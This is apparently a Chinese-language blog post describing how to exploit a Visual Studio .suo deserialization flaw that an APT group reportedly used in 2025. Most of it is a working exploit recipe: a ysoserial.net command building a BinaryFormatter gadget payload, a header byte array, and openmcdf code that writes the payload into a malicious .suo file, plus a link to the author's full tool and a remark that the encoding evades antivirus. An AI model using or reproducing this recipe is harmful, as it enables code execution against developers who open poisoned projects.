时隔三月,再谈Visual Studio .suo文件反序列化漏洞

2025年1月,某APT组织利用Visual Studio .suo文件反序列化漏洞投毒。

微软认为,使用Visual Studio打开项目本来就是危险操作,所以他们并不认为这是漏洞,也不会修复(这回复就很微软哈哈哈),时至今日,该漏洞在最新版的Visual Studio中依然能正常利用(分项目类型,部分项目类型不生效,没深入研究)

该漏洞在被APT组织利用前知名度并不高(虽然非常严重),在2023年就披露出来了,我在2024年编写了一个利用工具,到2025年才有APT组织利用

使用ysoserial.net生成Payload:

1
ysoserial -g ClaimsIdentity -f BinaryFormatter -c calc -o base64 -bgc TypeConfuseDelegate

然后添加一个申必魔数头

1
byte[] payload_header = { 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 };

使用openmcdf将Payload写入.suo文件

1
2
3
4
5
cf.RootStorage.GetStream("VsToolboxService").SetData(CombineArrays(payload_header, Convert.FromBase64String(payload)));
string o = Environment.CurrentDirectory + "\\evil.suo";
cf.SaveAs(o);
cf.Close();
Console.WriteLine("\n\n成功,文件已保存到 " + o);

替换原有的.suo文件,打开项目,代码执行,利用成功

Payload被Base64编码,而且.suo文件以二进制形式存储,也就是说这种方法自带免杀,利用起来非常方便(笑)

上面的代码不完整,这里有完整利用工具(给个star吧谢谢了):https://github.com/Brassinolide/VS_Deserialize_Exploit


时隔三月,再谈Visual Studio .suo文件反序列化漏洞
https://crackme.net/articles/resln/
作者
Brassinolide
发布于
2025年3月30日
许可协议